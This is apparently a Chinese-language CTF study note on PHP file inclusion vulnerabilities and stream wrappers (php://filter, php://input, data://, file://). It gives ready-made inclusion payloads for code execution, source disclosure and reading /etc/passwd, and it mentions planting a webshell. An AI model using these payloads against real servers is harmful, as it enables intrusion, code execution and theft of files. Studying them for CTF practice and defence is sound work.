伪协议与文件包含

文件包含漏洞可以用到各种伪协议

0x01文件包含函数

php当中会造成文件包含漏洞的函数有:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file

php、data伪协议读文件和代码执行的方式:

1.?file=data:text/plain,<?php phpinfo()?>  #GET数据

2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=  #后面的base64字符是需要传入的字符串的base64编码

3.?file=php://input [POST DATA:]<?php phpinfo()?>  #POST数据

4.?file=php://filter/read=convert.base64-encode/resource=xxx.php  #get读源码

0x02 php伪协议

需要开启allow_url_fopen的:php://input、php://stdin、php://memory和php://temp

不需要开启allow_wrl_fopen的:php://filter

在CTF中经常使用的是php://filter和php://input

php://filter用于读取源码,php://input用于执行php代码

php://input需要post请求提交数据

php://filter可以get提交?a=php://filter/read=convert.base64-encode/resource=xxx.php

0x03 data伪协议

ctf常用:

?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
?file=data:text/plain,<?php phpinfo()?> 

0x04 file协议

File:// 访问本地文件系统

file:// 用于访问本地文件系统,如c:盘中的东西。在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

file:// [文件的绝对路径和文件名]

linux 系统环境下:?file=file:///etc/passwd

winows 系统环境下:?file=file:///E:phpStudyWWWcodephpinfo.php

伪协议总结
File协议用于读取系统文件,c盘关键内容。Php://filter 用来读取文件内容,但是要base64后出来,否则会造成文件执行从而只看到执行结果。Php://input(代码执行)可将post请求中的数据作为PHP代码执行。可以用于写木马。Data和input相似,可以代码执行,但只有在php<5.3且include=on时可以写木马。

参考连接:https://blog.csdn.net/weixin_43272781/article/details/94645507

                  https://www.cnblogs.com/Oran9e/p/7795057.html

原文地址:https://www.cnblogs.com/-chenxs/p/11571903.html